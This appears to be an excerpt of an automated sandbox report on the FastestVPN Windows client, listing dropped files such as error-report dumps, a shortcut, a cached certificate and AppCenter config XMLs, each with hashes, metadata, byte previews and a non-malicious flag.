                                                                                                                Preview:MDMP..a..... .......)S.f....................................$............"...@..........`.......8...........T...........h*...B......................................................................................................eJ......\ ......GenuineIntel............T...........'S.f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\ProgramData\Microsoft\Windows\WER\Temp\WEREC7D.tmp.WERInternalMetadata.xml

                                                                                                                Download File
                                                                                                                Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):8488
                                                                                                                Entropy (8bit):3.702757548571216
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:R6l7wVeJsW646Yot6PegmfZa0DJpr089bb7sfhJm:R6lXJN646Ya6PegmfEQFbAf+
                                                                                                                MD5:FD4E24898CD4787A9AC8D7531C02B40B
                                                                                                                SHA1:400F17FC634716F2D1F872519994AFC65CBCC142
                                                                                                                SHA-256:6904628EC3D3C03498BF6E4425463D2E5983B1EEEC88185100C0DEFE027FC7B7
                                                                                                                SHA-512:95E0B2F200A8AE11B1C378886C9038B6F5C746D6850E1F712E0FD4742721943CFE63AF5752C5AEE02796232E4CD41CA018FBF2B251481DF404FD3A8014E255E3
                                                                                                                Malicious:false
                                                                                                                Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.9.8.8.<./.P.i.

                                                                                                                C:\ProgramData\Microsoft\Windows\WER\Temp\WERECCC.tmp.xml

                                                                                                                Download File
                                                                                                                Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):4887
                                                                                                                Entropy (8bit):4.555223386061742
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:48:cvIwWl8zsezJg77aI9rgWpW8VYGYm8M4JCA2tf8HcFqyX+q8vV2tf8H4IjUPU2jd:uIjfQI7BZ7ViJC1skXKMs4UUPZjd
                                                                                                                MD5:3CD712B264182AA8A3BC42BADC6B8822
                                                                                                                SHA1:FF5D15D2BE016CE7B9D470E478DF4AC7339240E4
                                                                                                                SHA-256:5A2A9B1AE290057790E757329AEFF414B135F1E0DD65FA171D9B00E548683641
                                                                                                                SHA-512:F557E0C4B3B16737DF4F2C0802BE45AB27A1778BD1276F8EB10FFAE65CA6BD192F22B44E49BC527B0A8E84B4FD1611B2BB7978E0C84E499AC481114D1A8C1688
                                                                                                                Malicious:false
                                                                                                                Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="527000" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                C:\ProgramData\Microsoft\Windows\WER\Temp\WERECF9.tmp.csv

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\svchost.exe
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):77816
                                                                                                                Entropy (8bit):3.078342385478618
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:TYP2rMBCCWMN2avFxaQh0LtXVSJjPVGoVYSqU:TYP2rMBCCWMN2avFxaQh05XVSJjPVGor
                                                                                                                MD5:99F67305471910C205B3FCEAA9468BD0
                                                                                                                SHA1:6639BC07EE4DE6149CB4C4B02DEFD6F871CB6460
                                                                                                                SHA-256:AEEB39206967CE37A7C098F37B454B1029B5CDE14784899671E8B9ACB945C5BC
                                                                                                                SHA-512:63A91D05C223B00F09E19F5D0828674B92EF0B29DEFB9349B59F42E7A0D1F7BC4FC359BE274AD49F57E42FAC331F9C5B0420A97E56DC2F949DF1B15263C7B56B
                                                                                                                Malicious:false
                                                                                                                Preview:I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

                                                                                                                C:\ProgramData\Microsoft\Windows\WER\Temp\WERED77.tmp.txt

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\svchost.exe
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):13340
                                                                                                                Entropy (8bit):2.6857024041480835
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:96:TiZYWEuFdtbYMYgWicH+YEZOStTtFi0MUlSJKwW6kQFaNmgfMy/tIIGZ3:2ZDtpLtt5waNffMylvGZ3
                                                                                                                MD5:B97D5EAE4E1CF0AC7B384B41B8A940F4
                                                                                                                SHA1:8562C97610F9A34F64FE243A60284AA741062FF5
                                                                                                                SHA-256:A83A0FB37C9A8B1D8F5841E9D587BC2F805A86D21B28333BCE402368DEA4B043
                                                                                                                SHA-512:2F8C65F5850F09FD854D5E1840C7B8FC1A4EAC84D67257D74B8653DAFA73B1496E1DBF379742AD0BE4E1F6727A15DAF771D2CD820631ADF5FD1DB751D2ED0105
                                                                                                                Malicious:false
                                                                                                                Preview:B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

                                                                                                                C:\Users\Public\Desktop\FastestVPN.lnk

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Thu Oct 3 07:17:32 2024, mtime=Thu Oct 3 07:17:35 2024, atime=Thu Jun 27 19:18:16 2024, length=2059432, window=hide
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1747
                                                                                                                Entropy (8bit):3.2174066192229254
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:8jWljdU58XIcJLAs5d/Z6d/nd/VkIbfd/Vu1m:8OdU54TJ8s5d/Z6d/nd/Vkcd/VO
                                                                                                                MD5:B01FD1E2A8200C22FC1607152C864D43
                                                                                                                SHA1:994306766F5F14594A5C587C8DDAA27565A42890
                                                                                                                SHA-256:D76C920B0E2715DF70E196E8FD98331A8C963086D251818A7FCD0475F2F06A14
                                                                                                                SHA-512:EC3CDD2B0CB8460AFDA2C78269309B24121E933AB4E2535619460458BC2F2D18202F415164D8534BC37D2979B514EC2326E54AB1D8990B25D05980C36DC906C7
                                                                                                                Malicious:false
                                                                                                                Preview:L..................F.@.. ......l.......l......$.....l...........................P.O. .:i.....+00.../C:\.....................1.....CY1B..PROGRA~1..t......O.ICY2B....B...............J.....u...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....^.1.....CY2B..FASTES~1..F......CY1BCY2B..........................l.j.F.a.s.t.e.s.t.V.P.N.....j.2..l...XH. .FASTES~1.EXE..N......CY1BCY1B..............................F.a.s.t.e.s.t.V.P.N...e.x.e.......Y...............-.......X...........<>.......C:\Program Files\FastestVPN\FastestVPN.exe..0.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.F.a.s.t.e.s.t.V.P.N...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.(.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.a.p.p.-.i.c.o.n...i.c.o.........%SystemDrive%\Program Files\FastestVPN\app-icon.ico.......................................................................................................................................................

                                                                                                                C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                File Type:Certificate, Version=3
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1428
                                                                                                                Entropy (8bit):7.688784034406474
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:nIGWnSIGWnSGc9VIyy0KuiUQ+7n0TCDZJCCAyuIqwmCFUZnPQ1LSdT:nIL7LJSRQ+QgAyuxwfynPQmR
                                                                                                                MD5:78F2FCAA601F2FB4EBC937BA532E7549
                                                                                                                SHA1:DDFB16CD4931C973A2037D3FC83A4D7D775D05E4
                                                                                                                SHA-256:552F7BDCF1A7AF9E6CE672017F4F12ABF77240C78E761AC203D1D9D20AC89988
                                                                                                                SHA-512:BCAD73A7A5AFB7120549DD54BA1F15C551AE24C7181F008392065D1ED006E6FA4FA5A60538D52461B15A12F5292049E929CFFDE15CC400DEC9CDFCA0B36A68DD
                                                                                                                Malicious:false
                                                                                                                Preview:0...0..x..........W..!2.9...wu\0...*.H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40...130801120000Z..380115120000Z0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40.."0...*.H.............0..........sh..]J<0"0i3..%..!=..Y..).=X.v..{....0....8..V.m...y....._..<R.R....~...W.YUr.h.p..u.js2...D.......t;mq.-... .. .c)-..^N..!a.4...^.[......4@_.zf.w.H.fWW.TX..+.O.0.V..{]..O^.5.1..^......@.y.x...j.8.....7...}...>..p.U.A2...s*n..|!L....u]xf.:1D.3@...ZI...g.'..O9..X..$\F.d..i.v.v=Y]Bv...izH....f.t..K...c....:.=...E%...D.+~....am.3...K...}....!........p,A`..c.D..vb~.....d.3....C....w.....!..T)%.l..RQGt.&..Au.z._.?..A..[..P.1..r."..|Lu?c.!_. Qko....O..E_. ........~.&...i/..-............B0@0...U.......0....0...U...........0...U..........q]dL..g?....O0...*.H..............a.}.l.........dh.V.w.p...J...x\.._...)V.6I]Dc...f.#.=y.mk.T..<.C@..P.R..;...ik.

                                                                                                                C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2E248BEDDBB2D85122423C41028BFD4

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):254
                                                                                                                Entropy (8bit):3.052898866971229
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:kKBkLDcJgjcalgRAOAUSW0PTKDXMOXISKlUp:aLYS4tWOxSW0PAMsZp
                                                                                                                MD5:A5732A546D0F4FCCF32A75B1F198071D
                                                                                                                SHA1:C97F90F43793F21316F29096043AA341219428C8
                                                                                                                SHA-256:32B750A18EA3B1FB3CF8EAC921FD1211815C3040F0A89A8A8D6FD4F694BEF121
                                                                                                                SHA-512:0AC4D9861167D8574D2C0B439DA9D440DA6C179EE8CAF7D02910B0F36BC5265C479E781B3B5EBADC37914872241F191509006790355899556C8212C4E7A2AD92
                                                                                                                Malicious:false
                                                                                                                Preview:p...... ....l...O...l...(....................................................... ............n......................h.t.t.p.:././.c.a.c.e.r.t.s...d.i.g.i.c.e.r.t...c.o.m./.D.i.g.i.C.e.r.t.T.r.u.s.t.e.d.R.o.o.t.G.4...c.r.t...".5.a.2.8.6.4.1.7.-.5.9.4."...

                                                                                                                C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\433ze1px.newcfg

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):392
                                                                                                                Entropy (8bit):4.9699444074197165
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:TMHdGGpOiYX/rAFQD4t/rA0y4t/KDHcKz/G3xT:2ddYDrUzRybcKu
                                                                                                                MD5:ED562A233D6945AB968AD6A667D267C4
                                                                                                                SHA1:8CA0F2D70263F2AB1DA62F45FFF2D555042795B7
                                                                                                                SHA-256:370D010C18686D9DCB130E96DFC1EB90E862829C510C41916F979E7C725306D9
                                                                                                                SHA-512:1BA8801DAD3CD6C244BD1A2A69CA1ACADECF4C58D40269149A7342B33DB176AF7854E5185E0426262B2B977A44CC4C7790C5865CE67E3232C6F27236D70EF118
                                                                                                                Malicious:false
                                                                                                                Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="True" />.. <add key="AppCenterServiceEnabled_analytics" value="False" />.. <add key="AppCenterServiceEnabled_crashes" value="False" />.. <add key="AppCenterInstallId" value="7d369e7f-af0f-4689-a2f7-c03ed566e87e" />.. </appSettings>..</configuration>

                                                                                                                C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\AppCenter.config (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):166
                                                                                                                Entropy (8bit):4.816940765206284
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:vFWWMNHU8LdgCQcIMOofqRqLVuXKCWAawLEHJq0Vq4tlKaF9ULVuuQIMOn:TMVBd1IGpOSDH40Vq4t/G3QIT
                                                                                                                MD5:90401247D5A6AF2729E2F23FBA0A6351
                                                                                                                SHA1:977D37740A245C9A41AD5B8916C07A699B181A09
                                                                                                                SHA-256:C4622D6EF948D316ED1C28E5BD2EE8CCE28BE710E9815CA67BDFF4C2648AACA4
                                                                                                                SHA-512:1F47BC3EFD2AB121663FF12F753DF519DE18CFDE43C79C475D7CEC32D70AFC7CE8A696EBCE5BA2519CBAA4F58FBEDDEC082B3AC6EFCE50996D54A2975B2C27DE
                                                                                                                Malicious:false
                                                                                                                Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="False" />.. </appSettings>..</configuration>

                                                                                                                C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\jqxmc2wv.newcfg

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):391
                                                                                                                Entropy (8bit):4.972423115256701
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:TMHdGGpOiYX/rAFQD/rA0y4t/KDHcKz/G3xT:2ddYDrPRybcKu
                                                                                                                MD5:2B91B42641990A50377E3C5039E1C991
                                                                                                                SHA1:66F1B98A1596B6ECD865A860BD7CAC6E6B120F40
                                                                                                                SHA-256:356C29421E6EDFC6C770466640D2AEDD9A758508052FBBBBBA4C5EFC1B862D4F
                                                                                                                SHA-512:86DDE88E76017DED1F8ADDD3ACEED4DA9715B1694ED10986111167821AE89EA3BE5E5F8A8FF1731120EC64394632DB0D62D51E4CE80A21D4011A43B137DB09F6
                                                                                                                Malicious:false
                                                                                                                Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="True" />.. <add key="AppCenterServiceEnabled_analytics" value="True" />.. <add key="AppCenterServiceEnabled_crashes" value="False" />.. <add key="AppCenterInstallId" value="7d369e7f-af0f-4689-a2f7-c03ed566e87e" />.. </appSettings>..</configuration>

                                                                                                                C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\tqkruhmw.newcfg

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):237
                                                                                                                Entropy (8bit):4.807606594598902
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:TMVBd1IGpOSDH40Vq4t/S4JAFQDuq4t/G3QIT:TMHdGGpOiYX4t/rAFQD4t/G3xT
                                                                                                                MD5:183EBDEC24DDC45FF5E38C915A0F1F2E
                                                                                                                SHA1:E1FFE9DA68D9F934FD66E0EB15857C9C1F9BC48D
                                                                                                                SHA-256:6165A855053058DA8ABDE8798FABCD9F0E6ECAD175E52A3DFE0F3CF081C82E4E
                                                                                                                SHA-512:41F7B750B6CE0B096A3D5FD7ECF6CD1E222C7B26C4FF3F0463B1AAB2D5718245CF4A91AB396B02ED8B125A55E62574D5E11949B95C5A636899CD1A2F4F795D06
                                                                                                                Malicious:false
                                                                                                                Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="False" />.. <add key="AppCenterServiceEnabled_analytics" value="False" />.. </appSettings>..</configuration>

                                                                                                                C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\uy1fnbnv.newcfg

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):390
                                                                                                                Entropy (8bit):4.966199236913369
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:TMHdGGpOiYX/rAFQD/rA0y/KDHcKz/G3xT:2ddYDrP7bcKu
                                                                                                                MD5:463172F3B9A856FF1C49CA5452198111
                                                                                                                SHA1:0CC90B7486F56172EFCC506B1C84951161AF764A
                                                                                                                SHA-256:4D870AFEDA100C99D1497E1FA3015666565A0F089892D3B9AD0897093BCC6355
                                                                                                                SHA-512:5D7FB08089DEEE26782F2A9D513032943E0C70B76CF50BE684217AA5657502EB4345F3FE0CD544A66AFAD3ED3CC465D99BF8D4763DF0258F95848C0F88A87832
                                                                                                                Malicious:false
                                                                                                                Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="True" />.. <add key="AppCenterServiceEnabled_analytics" value="True" />.. <add key="AppCenterServiceEnabled_crashes" value="True" />.. <add key="AppCenterInstallId" value="7d369e7f-af0f-4689-a2f7-c03ed566e87e" />.. </appSettings>..</configuration>

                                                                                                                C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\wylz4otg.newcfg

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):166
                                                                                                                Entropy (8bit):4.816940765206284
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:vFWWMNHU8LdgCQcIMOofqRqLVuXKCWAawLEHJq0Vq4tlKaF9ULVuuQIMOn:TMVBd1IGpOSDH40Vq4t/G3QIT
                                                                                                                MD5:90401247D5A6AF2729E2F23FBA0A6351
                                                                                                                SHA1:977D37740A245C9A41AD5B8916C07A699B181A09
                                                                                                                SHA-256:C4622D6EF948D316ED1C28E5BD2EE8CCE28BE710E9815CA67BDFF4C2648AACA4
                                                                                                                SHA-512:1F47BC3EFD2AB121663FF12F753DF519DE18CFDE43C79C475D7CEC32D70AFC7CE8A696EBCE5BA2519CBAA4F58FBEDDEC082B3AC6EFCE50996D54A2975B2C27DE
                                                                                                                Malicious:false
                                                                                                                Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="False" />.. </appSettings>..</configuration>

                                                                                                                C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\y30byxgo.newcfg

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):306
                                                                                                                Entropy (8bit):4.786578375552194
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:TMVBd1IGpOSDH40Vq4t/S4JAFQDuq4t/S4JAHUfq4t/G3QIT:TMHdGGpOiYX4t/rAFQD4t/rA0y4t/G3p
                                                                                                                MD5:9BD7587F34E11ECFAD8B5DEEED8364B6
                                                                                                                SHA1:93765EE7A4A27B2F84134001FAAB307984BD58BE
                                                                                                                SHA-256:B9870C1A6239C96F710CEB8B8E21A745433A8C8151B0D2FD9C17A0D2C4AB1C29
                                                                                                                SHA-512:7B0B26DFE2CD19BF210AE3E916D95D9EE97D6677C11979D2F8787C2EC9F682FC52078B4D126BC4671661CFD98EF8D7C9AE18F9AE5F8D6DF141F8B25B52A5D5C3
                                                                                                                Malicious:false
                                                                                                                Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="False" />.. <add key="AppCenterServiceEnabled_analytics" value="False" />.. <add key="AppCenterServiceEnabled_crashes" value="False" />.. </appSettings>..</configuration>

                                                                                                                C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\zsf512q5.newcfg

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):393
                                                                                                                Entropy (8bit):4.9588324747219055
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:TMHdGGpOiYX4t/rAFQD4t/rA0y4t/KDHcKz/G3xT:2ddY4zrUzRybcKu
                                                                                                                MD5:42B68BFA81BC914B6BC39797D0562B79
                                                                                                                SHA1:C6E58A526EB2246CC003EB310E2BA70120A7A386
                                                                                                                SHA-256:352DAC3865F97ED2D9CA90AA8AF1A64A9EE16C85CA04E5E124D9DEB32E5C2327
                                                                                                                SHA-512:0D9744355FC4CAFC33DA3E4FEEC9F1B36A8833115D5312C6EA283F25D6D61D1EBA7B07EE9EB5107CA2AA9EDBC57169549414A66D648B541B973BF846FA8F4511
                                                                                                                Malicious:false
                                                                                                                Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="False" />.. <add key="AppCenterServiceEnabled_analytics" value="False" />.. <add key="AppCenterServiceEnabled_crashes" value="False" />.. <add key="AppCenterInstallId" value="7d369e7f-af0f-4689-a2f7-c03ed566e87e" />.. </appSettings>..</configuration>

                                                                                                                C:\Users\user\AppData\Local\FastestVPN\localdata.xml

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):554
                                                                                                                Entropy (8bit):5.190490363715085
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:TMHdha8iPibgvv5K/jIDkcJ//0b6QnQxUrrCYb:2dk8avv5KER5yZp
                                                                                                                MD5:770A9E878C690857807301C669D8002B
                                                                                                                SHA1:EAEB35A2A438ADEE17B4020D4832355769EB2013
                                                                                                                SHA-256:F54977607FE77962DC2E7CC4FC0AED2990D25A249E58AA9813F42EFD0CF51200
                                                                                                                SHA-512:1E223D5C4213517B3400B887F320E42F19BC3C3F974ED4A4FBFA48157E2D5030BDA6DD9800A477DBE7FD8E76860DC24EE947F1FD9EE67294A5A9A6C1E8666CD3
                                                                                                                Malicious:false
                                                                                                                Preview:<?xml version="1.0" encoding="utf-8"?>..<Settings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">.. <SplitTunnelingStatus>false</SplitTunnelingStatus>.. <HasSeenSplitTunneling>false</HasSeenSplitTunneling>.. <ConnectOnLaunch>false</ConnectOnLaunch>.. <EnableAdBlock>false</EnableAdBlock>.. <RedialOnDrop>false</RedialOnDrop>.. <IsIKSEnabled>false</IsIKSEnabled>.. <IsConnectFallbackEnabled>false</IsConnectFallbackEnabled>.. <IsMinimizeLaunchEnabled>false</IsMinimizeLaunchEnabled>..</Settings>

